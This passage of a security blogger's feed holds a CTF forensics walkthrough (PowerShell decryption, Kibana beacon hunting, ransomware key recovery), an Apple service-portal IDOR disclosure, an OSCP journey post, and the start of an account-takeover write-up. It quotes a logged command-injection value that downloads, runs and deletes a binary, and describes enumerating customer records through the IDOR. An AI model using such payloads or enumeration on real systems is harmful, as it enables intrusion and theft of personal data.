JABwACAAPQAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACcAQwA6AFwAVQBzAGUAcgBzAFwAcwAuAHIAZQB5AGUAcwBcAEQAbwB3AG4AbABvAGEAZABzAFwARABvAGMAdQBtAGUAbgB0AFIAZQB2AGkAZQB3AFwAcgBlAHYAaQBlAHcALQBjAGEAYwBoAGUALgBkAGEAdAAnAC...</pre><p>Decoding that Base64 -EncodedCommand (base64 -d | iconv -f UTF-16LE -t UTF-8) exposed the entire decryption routine:</p><pre>$p = Get-Content -Path &#39;C:\Users\s.reyes\Downloads\DocumentReview\review-cache.dat&#39; -Encoding Byte<br>$k = [Convert]::FromBase64String(&#39;fXFKcmfoirwa/SI4MMtO18hA9nf/Fl++ycEOWV8G+qg=&#39;)<br>$iv = $p[0..15]<br>$c = $p[16..($p.Length-1)]<br>$a = [System.Security.Cryptography.Aes]::Create()<br>$a.Mode = [System.Security.Cryptography.CipherMode]::CBC<br>$a.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7<br>$a.Key = $k<br>$a.IV = $iv</pre><p>The script reads review-cache.dat, slices the first 16 bytes as the AES-CBC IV ($p[0..15]), and uses the 32-byte key Base64-encoded as fXFKcmfoirwa/SI4MMtO18hA9nf/Fl++ycEOWV8G+qg=. Converting that key from Base64 to hex and decrypting our dumped review-cache.dat (file.0xca858ff27560.0xca85907ccbb0.DataSectionObject.review-cache.dat.dat) took five lines of Python:</p><pre>import base64<br>from Crypto.Cipher import AES<br>from Crypto.Util.Padding import unpad</pre><pre>key = base64.b64decode(&quot;fXFKcmfoirwa/SI4MMtO18hA9nf/Fl++ycEOWV8G+qg=&quot;)<br>print(&quot;Hex key:&quot;, key.hex())</pre><pre>blob = open(&quot;/tmp/dump/file.0xca858ff27560.0xca85907ccbb0.DataSectionObject.review-cache.dat.dat&quot;, &quot;rb&quot;).read()<br>pt = unpad(AES.new(key, AES.MODE_CBC, blob[:16]).decrypt(blob[16:]), 16)<br>print(pt.decode())</pre><p>Running that script printed the 64-character hex key <strong>7d714a7267e88abc1afd223830cb74d7c840f677ff165fbec9c134595f06faa8</strong> and the decrypted contents of review-cache.dat, which contained the flag <strong>THM{2b3cc75adab999202e1879af542b2c11}</strong>.</p><h3>07. Strange &amp; Unusual Activity</h3><p>In <strong>Strange &amp; Unusual Activity</strong>, we investigate network telemetry in <strong>Kibana</strong> (zeek-* indices covering a 24-hour window on 2025-10-07) to find a stealthy C2 beacon and a large data exfiltration transfer.</p><p>Instead of clicking through dashboards manually, I queried Elasticsearch directly through Kibana’s Console proxy API (POST /api/console/proxy?path=zeek-*/_search&amp;method=POST) so I could aggregate across zeek-dns and zeek-conn in seconds.</p><h3>Finding the Beacon Domain, Infected Host, and Exact Interval</h3><p>First, I aggregated zeek-dns by dns.query and source IP (source.ip) to see which external domains were being queried repeatedly throughout the day:</p><pre>curl -s -X POST &quot;http://10.81.137.136:5601/api/console/proxy?path=zeek-dns*/_search&amp;method=POST&quot; \<br>  -H &quot;kbn-xsrf: true&quot; -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;size&quot;: 0,<br>    &quot;aggs&quot;: {<br>      &quot;by_query&quot;: {<br>        &quot;terms&quot;: {&quot;field&quot;: &quot;dns.query.keyword&quot;, &quot;size&quot;: 10},<br>        &quot;aggs&quot;: {&quot;src&quot;: {&quot;terms&quot;: {&quot;field&quot;: &quot;source.ip&quot;, &quot;size&quot;: 5}}}<br>      }<br>    }<br>  }&#39;</pre><p>One domain stood out immediately: <strong>edge-metrics-sync.net</strong>, queried exclusively by internal host <strong>10.10.14.160</strong> a total of <strong>289</strong> times across the 24-hour capture.</p><p>Remembering how periodic beacons behave over 24 hours (86,400 seconds), 86,400 / 288 intervals equals 300 seconds (289 total beacons from 00:00:00 to 24:00:00 inclusive). Pulling the sorted @timestamp values for dns.query: &quot;edge-metrics-sync.net&quot; confirmed that every single query fired exactly <strong>300</strong> seconds (5 minutes) apart.</p><h3>Pinpointing the Exfiltration Flow in zeek-conn</h3><p>Next, I queried zeek-conn* for all outbound connections originating from 10.10.14.160, sorted by source.bytes (orig_bytes) descending to spot any bulk upload:</p><pre>curl -s -X POST &quot;http://10.81.137.136:5601/api/console/proxy?path=zeek-conn*/_search&amp;method=POST&quot; \<br>  -H &quot;kbn-xsrf: true&quot; -H &quot;Content-Type: application/json&quot; \<br>  -d &#39;{<br>    &quot;size&quot;: 5,<br>    &quot;query&quot;: {&quot;term&quot;: {&quot;source.ip&quot;: &quot;10.10.14.160&quot;}},<br>    &quot;sort&quot;: [{&quot;orig_bytes&quot;: {&quot;order&quot;: &quot;desc&quot;}}]<br>  }&#39;</pre><p>At the very top of the results was connection uid: C1671738666754672 from 10.10.14.160 to 203.0.113.77:443 lasting 75.22 seconds and sending <strong>54078822</strong> bytes (~54 MB) outbound.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*YBhkHeWR4ziUrkKdF0QCsg.png" /><figcaption>Querying zeek-dns and zeek-conn telemetry in Kibana to isolate the 300-second beacon and 54,078,822 exfiltrated bytes.</figcaption></figure><h3>08. Dead Endpoint</h3><p>The final challenge, <strong>Dead Endpoint</strong>, gives us a raw Linux disk image (~/Desktop/artifacts/disk.img) from a compromised photo gallery server where six inspection photos in /srv/gallery/media/originals/ were encrypted into .jpg.locked files and the attacker&#39;s ransomware binary was deleted from disk after execution.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*2_le3muU0g3mfdhEQKkY_A.png" /><figcaption>08. Dead Endpoint challenge overview and forensics artifacts.</figcaption></figure><h3>Mounting the Disk Image and Finding the Web RCE</h3><p>I started by checking the partition layout of disk.img with fdisk -l and mounting the root Linux filesystem (starting at sector 2099200) read-only at /tmp/mnt:</p><pre>fdisk -l ~/Desktop/artifacts/disk.img<br>mkdir -p /tmp/mnt<br>sudo mount -o ro,loop,offset=$((2099200 * 512)) ~/Desktop/artifacts/disk.img /tmp/mnt</pre><p>Inspecting the web application under /tmp/mnt/srv/gallery/app.py and the access log at /tmp/mnt/var/log/gallery-access.log showed how the attacker got in. The /api/albums/&lt;id&gt;/export handler takes a user-controlled selection parameter and passes it directly into a tar command using subprocess.run(..., shell=True). In gallery-access.log, every command injection payload hit <strong>/api/albums/1/export</strong>:</p><pre>POST /api/albums/1/export selection=yard_0147.jpg;curl -fsSL http://.../indexd -o /srv/gallery/.cache/.indexd &amp;&amp; chmod +x /srv/gallery/.cache/.indexd &amp;&amp; /srv/gallery/.cache/.indexd &amp;&amp; rm -f /srv/gallery/.cache/.indexd</pre><p>That log line also gave us the exact full path of the ransomware binary that the attacker staged, executed, and deleted: <strong>/srv/gallery/.cache/.indexd</strong>.</p><h3>Recovering and Reversing the Deleted .indexd Binary</h3><p>Because the binary was downloaded and run during the intrusion, I recovered the ELF binary from the disk image and verified its SHA-256 hash:</p><pre>sha256sum /tmp/indexd<br>6a0e5b25a919a94952b34e38d8e8b595036d1ef6a026bf5cca38a0d34459102f  /tmp/indexd</pre><p>The binary’s SHA-256 digest is <strong>6a0e5b25a919a94952b34e38d8e8b595036d1ef6a026bf5cca38a0d34459102f</strong>.</p><p>Next, I disassembled /tmp/indexd using objdump -d -M intel /tmp/indexd to see how it encrypted the .jpg files in /srv/gallery/media/originals/:</p><pre>1370: call clock_gettime@plt<br>...<br>13b0: imul rax, rdx, 0x3e8          ; tv_sec * 1000<br>13c2: add  rax, rcx                 ; + tv_nsec / 1000000 (millisecond seed)<br>...<br>1554: call EVP_aes_256_gcm@plt</pre><p>Looking closely at the assembly in main and the helper routines:</p><ol><li>It calls EVP_aes_256_gcm(), meaning the cipher algorithm is <strong>AES-256-GCM</strong>.</li><li>Instead of pulling entropy from /dev/urandom or RAND_bytes, it calls clock_gettime(CLOCK_REALTIME, &amp;ts) and computes the current Unix timestamp in milliseconds:</li></ol><p>seed = ts.tv_sec * 1000 + ts.tv_nsec / 1000000.</p><ol><li>It feeds that 64-bit millisecond seed into a simple Linear Congruential Generator (LCG):</li></ol><p>state = (state * 6364136223846793005 + 1442695040888963407) &amp; 0xFFFFFFFFFFFFFFFF</p><p>Each byte is produced by taking (state &gt;&gt; 33) &amp; 0xFF.</p><ol><li>The first 32 bytes generated by the LCG form the master AES-256-GCM key. Then, for each of the 6 sorted files (yard_0147.jpg through yard_0152.jpg), the LCG generates a 12-byte IV (iv), sets the 28-byte file header (GPH1 magic + metadata + iv, i.e., d[:28]) as Additional Authenticated Data (AAD), writes the 16-byte GCM authentication tag at d[28:44], and writes the ciphertext starting at byte 48 (d[48:]).</li></ol><h3>The futimens() Timestamp Trap and Cracking the Millisecond Seed</h3><p>At first glance, brute-forcing a millisecond timestamp looks trivial: just check mtime on yard_0147.jpg.locked and search a few seconds around it. When I tried that, zero seeds matched!</p><p>Going back to the objdump output explained why: right after writing each .jpg.locked file, .indexd calls stat() on the original .jpg and then calls <strong>futimens()</strong> on the new .jpg.locked file to copy the original file&#39;s atime and mtime (2026-10-20 05:36:37.358 UTC), hiding the real time of encryption!</p><p>However, on Linux, an unprivileged user space call to futimens() cannot forge the inode change timestamp (ctime). Running stat on /tmp/mnt/srv/gallery/media/originals/yard_0147.jpg.locked showed the real encryption time in Change:</p><pre>$ stat /tmp/mnt/srv/gallery/media/originals/yard_0147.jpg.locked<br>  File: yard_0147.jpg.locked<br>Modify: 2026-10-20 05:36:37.358836500 +0000<br>Change: 2026-10-20 05:36:54.652836500 +0000</pre><p>2026-10-20 05:36:54.652 UTC corresponds to Unix millisecond timestamp 1792474614652 (roughly 17.3 seconds after mtime).</p><p>I wrote a quick Python script to brute-force a narrow window around that ctime millisecond value using AES.MODE_GCM and verify the GCM authentication tag on yard_0147.jpg.locked:</p><pre>import glob, os<br>from Crypto.Cipher import AES</pre><pre>def lcg_bytes(state, n):<br>    out = bytearray()<br>    for _ in range(n):<br>        state = (state * 6364136223846793005 + 1442695040888963407) &amp; 0xFFFFFFFFFFFFFFFF<br>        out.append((state &gt;&gt; 33) &amp; 0xFF)<br>    return bytes(out), state</pre><pre>files = sorted(glob.glob(&quot;/tmp/mnt/srv/gallery/media/originals/*.locked&quot;))<br>first = open(files[0], &quot;rb&quot;).read()<br>aad0, iv0, tag0, ct0 = first[:28], first[16:28], first[28:44], first[48:]</pre><pre>for seed in range(1792474610000, 1792474620000):<br>    key, st = lcg_bytes(seed, 32)<br>    iv, st = lcg_bytes(st, 12)<br>    if iv == iv0:<br>        print(f&quot;[+] SEED_FOUND = {seed}&quot;)<br>        os.makedirs(&quot;/tmp/recovered&quot;, exist_ok=True)<br>        st = seed<br>        key, st = lcg_bytes(st, 32)<br>        for f in files:<br>            d = open(f, &quot;rb&quot;).read()<br>            iv, st = lcg_bytes(st, 12)<br>            cipher = AES.new(key, AES.MODE_GCM, nonce=d[16:28])<br>            cipher.update(d[:28])<br>            pt = cipher.decrypt_and_verify(d[48:], d[28:44])<br>            out_path = &quot;/tmp/recovered/&quot; + os.path.basename(f).replace(&quot;.locked&quot;, &quot;&quot;)<br>            open(out_path, &quot;wb&quot;).write(pt)<br>            print(f&quot;[+] Decrypted {out_path} ({len(pt)} bytes)&quot;)<br>        break</pre><p>Because the script checks if iv == iv0 before even running AES-GCM, it found the exact seed in less than a tenth of a second: <strong>1792474614662</strong>.</p><p>All six .jpg files decrypted cleanly into /tmp/recovered/. Opening /tmp/recovered/yard_0152.jpg revealed a photo of a handwritten <strong>Yard Operations Inspection Checklist</strong> clipboard with the final flag written across the bottom: <strong>THM{R4ns0mw4r3_K3ys_Ar3_A_M4tt3r_0f_T1m3}</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*cRXM5BzFzBaqGIc1OZxODw.png" /><figcaption>Decrypted yard_0152.jpg revealing THM{R4ns0mw4r3_K3ys_Ar3_A_M4tt3r_0f_T1m3} after cracking the millisecond LCG seed.</figcaption></figure><h3>What This CTF Taught Me</h3><p>Beyond the flags, these are the lessons from the eight rooms that I will be carrying into real investigations:</p><ul><li><strong>Parent-process context beats alert titles.</strong> Half the SOC Simulator queue was false positives until I pulled a five-minute Sysmon and PowerShell window around each alert. Explorer.EXE, mshta.exe or wsmprovhost.exe spawning hidden PowerShell told the truth every time; the alert name did not.</li><li><strong>Script block logging (Event ID 4104) is the fastest path from suspicious script to full implant.</strong> A single ScriptBlockText entry exposed the entire review-helper.ps1 loop, its C2 and its persistence. If you only have Sysmon Event ID 1, you are missing most of the story.</li><li><strong>One plaintext service account turns a workstation compromise into a domain problem.</strong> svc-studioops in deploy-settings.json was enough for WinRM to three more hosts. Hunting for wsmprovhost.exe children and port 5985 sessions found the lateral movement faster than following the attacker host by host.</li><li><strong>Containment is not finished until you check the scheduled tasks.</strong> In the tabletop, the live processes were already dead; the real damage was two time-bombed tasks at 11:37 UTC and 16:55 UTC. Persistence review has to happen before anyone says contained.</li><li><strong>Never trust the obvious artifact.</strong> A right-to-left override filename, a decoy CSV planted inside the OneNote file and shellcode hidden inside a PNG were all designed to be the first thing you find. The PCAP, the memory image and the inode metadata were the ground truth.</li><li><strong>Detect behaviour, not strings.</strong> certu*.exe with a wildcard sails past any rule that matches certutil.exe. The -urlcache download, the mshta parent and the schtasks persistence are the signals that survive renaming.</li><li><strong>Reverse the crypto before you brute-force it.</strong> In Day-O the API hashes mapped to kernel32.WinExec and a fixed AES-256-CBC key; in Dead Endpoint the key came from a millisecond-seeded LCG. Both became trivial once the key derivation was understood, and neither required running the malware.</li><li><strong>Timestomping has limits.</strong> futimens() rewrote atime and mtime on every encrypted file, but ext4 ctime cannot be set from userland. That one unforgeable timestamp fixed the seed window to a few thousand candidates.</li><li><strong>Script the repetitive parts early.</strong> Querying Elasticsearch with curl instead of clicking through Kibana, and writing the decrypt loops in Python, is what made a full clear possible inside the event window.</li></ul><h3>Final Thoughts</h3><p>What stood out most about <strong>It’s Downtime!</strong> was how well the individual rooms fit together. Instead of contrived puzzles, every challenge leaned on realistic defensive skills: correlating Sysmon and PowerShell script blocks across pivot hosts, balancing operational risk during a release-day tabletop, spotting right-to-left override tricks in OneNote attachments, checking PCAP payloads instead of trusting decoy files, dumping injected VADs with Volatility 3, and looking at inode ctime metadata when an attacker uses futimens() to timestomp encrypted files.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*48coaIMEn8NpBF8bKD88uA.png" /><figcaption>TryHackMe It&#39;s Downtime! Certificate of Completion (Team TeamTDO, Credential ID THM-RMXTNC7FJN, issued 28 October 2026).</figcaption></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=6c1d454a2626" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Exposing Millions of Apple Users’ ticket and other details! ( Part -1 )]]></title>
            <link>https://virtuvil.medium.com/exposing-millions-of-apple-users-ticket-and-other-details-part-1-36bf35281cd6?source=rss-1febb35ca2e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/36bf35281cd6</guid>
            <category><![CDATA[apple]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Virtuvil]]></dc:creator>
            <pubDate>Tue, 04 Feb 2025 07:23:36 GMT</pubDate>
            <atom:updated>2025-02-04T08:50:10.994Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/958/0*waSgJS_xg0wDi2VM" /></figure><p><strong>TL;DR:</strong> I discovered a critical security flaw in Apple’s service system. While submitting a service request via a QR code at the service center, I was able to exploit a privilege escalation vulnerability, leading to an <strong>Insecure Direct Object Reference (IDOR)</strong>. This allowed me to gain admin panel access and uncover multiple security risks, including:</p><ul><li><strong>Admin panel takeover</strong></li><li><strong>IDOR leading to massive data exposure</strong></li><li><strong>Access to other users’ data, including Mac serial numbers, IMEI, Service ticket details and so on.</strong></li></ul><p><strong>Introduction</strong><br>What if I told you that a simple Apple service ticket could have exposed the personal details of millions of users? I recently stumbled upon a significant security flaw in Apple’s service system, one that could have led to massive breaches of customer data. While trying to get my own MacBook repaired, I uncovered a vulnerability in Apple’s service platform that allowed me to access not only my own ticket details but also sensitive information about countless other Apple users.</p><p>In this blog, I’ll walk you through how I discovered the flaw, what I was able to access, and why this is a serious issue for Apple and its customers.</p><h4>The Setup: A Simple Service Request</h4><p>I needed to get my MacBook repaired, so I went to an Apple service center and used the QR code at the desk to raise a service ticket. This seemed like a normal, everyday process — nothing out of the ordinary.</p><p>I got a confirmation email with a ticket number and carried on with my day. But little did I know, that email was just the beginning of a journey into Apple’s vulnerable service portal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D9KB_bQ5z-xpvzzWXhxcVg.jpeg" /></figure><h4>How I Uncovered the Flaw</h4><p>While the process seemed routine, I couldn’t help but wonder how secure Apple’s system really was. Being a curious individual (and, let’s be honest, a bit of a tech enthusiast), I decided to take a deeper look at the service portal. As I explored further, I quickly discovered something troubling.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*D5jGSNJPzhvdUl-j61lhZA.jpeg" /></figure><p>The Apple service portal had a <strong>severe information disclosure vulnerability</strong>. With a few tweaks to the system, I was able to gain unauthorized access to ticket details, warranty information, and even modify service appointments. What’s more, this flaw wasn’t limited to just my own ticket — it applied to <strong>other users’ data</strong> as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3NWTMvM15F8t71g2xq6i4g.jpeg" /></figure><h4>What I Was Able to Access</h4><p>Once I found the vulnerability, I realized how serious the consequences could have been if this had been exploited maliciously. Here’s what I was able to uncover:</p><ol><li><strong>Ticket Details</strong> — I could access the <strong>repair tickets</strong> of other users, including sensitive data such as serial numbers of their MacBooks, personal information, and service statuses.</li><li><strong>Appointment Details</strong> — I was able to <strong>view and modify appointments</strong>, potentially canceling or rescheduling repairs for other customers without their consent.</li><li><strong>Sensitive Customer Data</strong> — The platform didn’t properly protect data like <strong>contact numbers, addresses, and repair histories</strong>, all of which were available to me with a few simple modifications in the request.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Qv1ZxzjGsFpdC3wBTeCV_A.jpeg" /></figure><h4>How the Flaw Worked: A Simple Change in the URL ( Sample-1)</h4><p>The flaw I uncovered stemmed from an <strong>Insecure Direct Object Reference (IDOR)</strong> vulnerability. Essentially, the service portal failed to properly validate user requests. Here’s how it worked:</p><ol><li><strong>Step 1</strong>: I created an account on the service portal and raised my service ticket as usual.</li><li><strong>Step 2</strong>: I accessed the request made to view my ticket and noticed that the <strong>URL</strong> contained an easily modifiable parameter — my <strong>mobile number</strong>.</li><li><strong>Step 3</strong>: By changing the mobile number in the request, I was able to <strong>access another user’s ticket</strong>, bypassing any authentication measures.</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gyCjqLCjUB8trIHo4fiJAg.jpeg" /></figure><p><strong>Note: There is no rate limit in place, so we can use an intruder attack to fetch every customer’s data — not just by mobile number, but also by user ID, email, and a few other parameters.</strong></p><p>It was that simple.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jfxPv23BxVbg2uLpIpjSEg.jpeg" /></figure><h4>The Potential Impact</h4><p>The potential impact of this vulnerability is huge. Had this flaw been discovered by malicious actors, Apple customers’ personal information would have been exposed on a massive scale. Here are a few potential scenarios:</p><ul><li><strong>Privacy Violations</strong>: Personal details, repair histories, and MacBook serial numbers would be publicly available, leaving customers vulnerable to identity theft or fraud.</li><li><strong>Unauthorized Access</strong>: Hackers could have used this flaw to gain access to other users’ accounts, change repair appointments, and potentially disrupt service processes.</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xyscbiw2qLl45nBD_DDRxQ.jpeg" /></figure><h4>Conclusion</h4><p>In the end, what began as a simple service request turned into a wake-up call about the importance of data security. Thankfully, the vulnerability has now been fixed, and I’m happy to have contributed to securing Apple’s service platform. However, this is just one piece of the puzzle. In an upcoming blog, I’ll dive deeper into other critical vulnerabilities I uncovered, including how I was able to take over the <strong>admin panel</strong> and the broader issues I found within Apple’s system.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=36bf35281cd6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[My OSCP Journey]]></title>
            <link>https://virtuvil.medium.com/mera-oscp-journey-dc528635f9d0?source=rss-1febb35ca2e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/dc528635f9d0</guid>
            <category><![CDATA[information-security]]></category>
            <category><![CDATA[penetration-testing]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[offsec]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Virtuvil]]></dc:creator>
            <pubDate>Mon, 15 Apr 2024 09:01:34 GMT</pubDate>
            <atom:updated>2024-04-15T09:28:04.096Z</atom:updated>
            <content:encoded><![CDATA[<p>Like everyone else, I also wanted to complete my OSCP in a short period of time. I successfully completed my OSCP exam in 3.5– 4 hours. However, since I completed my OSCP with a Mac M1, I faced a lot of issues. I’ll share insights from that perspective as well. In this blog, I’ll share my journey, pathways, and my preparation guide. At the end of the blog, I’ll also share the machines I’ve completed and my notes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/520/1*tUB_aoY5sj2mlxQYnovlLA.png" /></figure><p>When I begin my career in cybersecurity, I want to do many things like RF/SDR hacking, red teaming, reverse engineering, and so on. One item on my bucket list is the OSCP certification. Initially, I planned to complete my OSCP within 3–4 years. However, after receiving guidance from my friends, I decided to complete the OSCP within 2 years. Thankfully, I am in an environment where I need to push myself very hard. My end goal with certification is equip myself for red teaming and Incident detection.</p><p>I received a voucher for the OSCP from my organization, thanks to my senior manager and one of my college junior who believed in me every step of the way, not just in my projects.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/0*KTjcTYAOWcn3bkDu" /></figure><p><strong>First month of preparation:</strong></p><p>Over the course of three months of preparation, with the help of my brother <a href="https://www.linkedin.com/in/dineshdinz/">Dinesh Chelladurai</a>, I began by completing the labs and submitting flags and also started to work on Hackthebox. In the initial first month, I completed around 20–25 boxes from Hack The Box, where I learned about the basics. Since I worked under pressure, I spent only 5–6 hours per day.</p><p><strong>Second month of preparation:</strong></p><p>I was managing multiple projects simultaneously, which required me to push myself to the limit. Even with a packed time, I dedicated my mornings from 9 am to night until 11:30 pm to my office work. After getting some rest, I started studying for the OSCP from 12:30 am to 4:30 am at night during my second month. This routine continued for the second month, during which I completed Medtech, Reila, and OSCP-a. At the end of the second month, I completed around 40–50 boxes from Hack The Box, Proving Grounds, and TryHackMe, where I learned about different methodologies.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/299/0*rGcGVSlCaM1BdtrU" /></figure><p><strong>Final month of preparation:</strong></p><p>Now, the main game begins. I started taking leaves to focus. I created several Burp extensions and automation tools with Python, PowerShell, and Bash, automating almost every workflow in my office projects while maintaining high-quality delivery. I dedicated myself to preparing for my OSCP exam, studying for 16 hours a day. In the last month of preparation, I completed Skylark, OSCP-B, and OSCP-C within 15 days. After that, I began working on Hack The Box, Pentester Academy, TryHackMe, and VulnHub machines as well.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/200/0*AjPRwM0DN4BOkGDZ" /></figure><p>At the end of the preparition of whole three months. I’ve almost completed around 200+ machines. <a href="https://pastebin.com/edit/vGkqDvXu">Here</a> you can find the list of machines I’ve completed.</p><p><strong>Exam Day: — Its not about the exam its about the process!</strong></p><p>With the motivating words from my friend, I began the exam.</p><ol><li><strong>Active Directory:</strong></li></ol><p>On exam day, I completed Active Directory (AD) within one hour. The only place where I got stuck was transferring files. The new Windows Remote Management (WinRM) wasn’t working sufficiently for transferring files from my Kali machine to MS02. So I took an alternative approach for transferring files by using an older version of WinRM. Since I already have a bonus point, I have now pwned Active Directory. So now I have 10 + 40 marks. Here is where my second month of preparation helped me a lot, where<strong> I used multiple methodologies, even for transferring files.</strong></p><p><strong>2. Standalones:</strong></p><p>For standalone machines, it’s pretty straightforward; those are similar to Practice Ground (PG) machines. So, for each machine, it took 45 minutes to 1 hour. Within 3.5 hours, I got a passing mark, and I pwned the last machine within 30 minutes using the same methodology. Now I have 10 + 40 + 20 + 20 + 20 = 110 points. I now have a bit more confidence in my knowledge.</p><p><strong>Take away:</strong></p><p>After the exam, I understood the flow; it’s all about the methodology. If you get stuck somewhere, it’s important to know how to proceed further. Also, please keep in mind that the exam machines and lab machines are intended for hacking, so don’t lose your hope until the last hour.</p><p><strong>Comparing practice machines with exam machines:</strong></p><p>I encountered an Active Directory setup similar to one of the Vulnhub machines, and other standalone machines were similar to Pentester Academy machines and OSCP labs. Since I started my OSCP journey with guidance from a few friends, I took notes at each step and method. I performed multiple methods for each vulnerability. Those manual methods from oscp labs helped me a lot.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*HbsC0n4xMQrbTnn9" /></figure><p>Since I took my exams, labs, and everything on ARM architecture, I faced many issues. I used Parallels for running a Kali virtual machine. I collected and shared tools specifically for the Mac M1, especially for the OSCP exam, on a GitHub page. Please feel free to grab them.</p><p><strong>Result:</strong></p><p>After the exam, I waited for almost three days to receive the result. Yes, I completed my OSCP within a short period of time. I was so happy. Thanks to everyone who supported me throughout the journey.</p><p><a href="https://github.com/virtuvil/OSCP-Dumpsss">Here</a> you can find all my notes from this OSCP journey. I hope you guys learnt something new here. Feel free to hit me up on <a href="https://www.linkedin.com/in/prasanth-elangovan/">LinkedIn</a>, if you have any questions or concerns.</p><p><strong>In my next post, I’ll share my own Burp plugins and some of my interesting findings.</strong></p><p><strong>Follow-ups:</strong></p><ol><li>Finding a study partner on Discord groups or Reddit can be incredibly beneficial. Working together keeps you motivated and accountable. I highly recommend joining study groups and finding a study partner.</li><li>Don’t push yourself too hard, guys. If you are planning for OSCP, try to spend dedicated hours, like 3 hours per day. I made a mistake during my learning time; since I spent too much time on work and learning for OSCP, I became exhausted and frustrated. It’s okay to take a break.</li><li>It is ok to give up in between. But the main thing is we can start again</li><li>Always take detailed notes during your studies.</li><li>Use different methodologies and tools for each vulnerability you encounter.</li><li>Try to automate simple workflows wherever possible.</li><li>Practice on as many machines as you can. The exam is about building a methodology.</li><li>If you get stuck, it’s okay to refer to write-ups. The objective of the lab is to develop our methodology.</li><li>Seek guidance from peers and seniors. Discuss methodologies and tactics, techniques, and procedures (TTPs). I took help from so many people especially my friends and community members.</li><li>Try running the same methodology with different versions of tools, as sometimes issues arise with the latest versions.</li><li>Familiarize yourself with all different file transfer methods.</li></ol><p><strong>Certificate:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TdMmfcVvJOBmZ1cZclfGOA.png" /></figure><p><strong>Way to go!</strong></p><p>I’m planning to prepare for <strong>OSWE</strong>. If you’re interested, please reach out to <a href="https://www.linkedin.com/in/prasanth-elangovan/">me</a>. Let’s start the preparation together.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=dc528635f9d0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Complete Account Takeover without User Interaction]]></title>
            <link>https://virtuvil.medium.com/complete-account-takeover-without-user-interaction-2cc831f0b55a?source=rss-1febb35ca2e4------2</link>
            <guid isPermaLink="false">https://medium.com/p/2cc831f0b55a</guid>
            <category><![CDATA[account-security]]></category>
            <category><![CDATA[hackerone]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[salesforce]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Virtuvil]]></dc:creator>
            <pubDate>Wed, 20 Jul 2022 10:43:13 GMT</pubDate>
            <atom:updated>2022-07-20T10:43:13.397Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><em>Hello friends, This is</em><a href="https://linkedin.com/in/prasanth-elangovan"><em> Prasanth Elangovan</em></a><em> (aka Virtuvil) , a security researcher &amp; an ethical hacker from India.</em></blockquote><blockquote><strong><em>Note:</em></strong><em> Sometimes </em>It will hit you differently when you know your report is valid, but it will still be informative :)</blockquote><p>Normally, I don’t submit high-impact bugs to programmes blindly; instead, I wait for responses to low-impact bugs before reporting high-impact bugs. If the programme does not replay. I simply ignore the programme.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*6t1l3goYNH-uG1_h.gif" /></figure><p>I received a private invitation from hackerone, let’s call it xyz.com. I made the decision to start testing the site. It’s time for the red beast to emerge :)</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/0*ZkS7LYuiJ-147nLb.gif" /></figure><p>I did port scanning, searched for Directory listing, and tried to find SQLi, but I couldn’t find anything. On that day, I encounter no bugs. The following day, I intended to test the authentication bypass vulnerability.</p><p><strong>Flow of the Registration process: </strong>When creating an account, we only need to provide our name, email address, and company name. After clicking the sign-up button. It simply sends a password-setting email. Only after clicking the link will we be able to set the password. This is being done for security reasons. As a result, only the account’s owner can create an account with his/her account. This is the working flow of the application.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/420/1*_8S_jridjngcbwxWl9a9vQ.png" /></figure><p>While registering an account, I noticed a parameter called message. The real game begins here !</p><p>It’s encoded. So, I used URL decoding to decode the message parameter. After decoding the message parameter, it appears as follows.</p><blockquote>{“actions”:[{“id”:”258;a”,”descriptor”:”apex://LightningSelfRegisterController/ACTION$selfRegister”,”callingDescriptor”:”markup://c:selfRegisterCustom”,”params”:{“firstname”:”Prasanth”,”lastname”:”Elangovan”,”email”:”<a 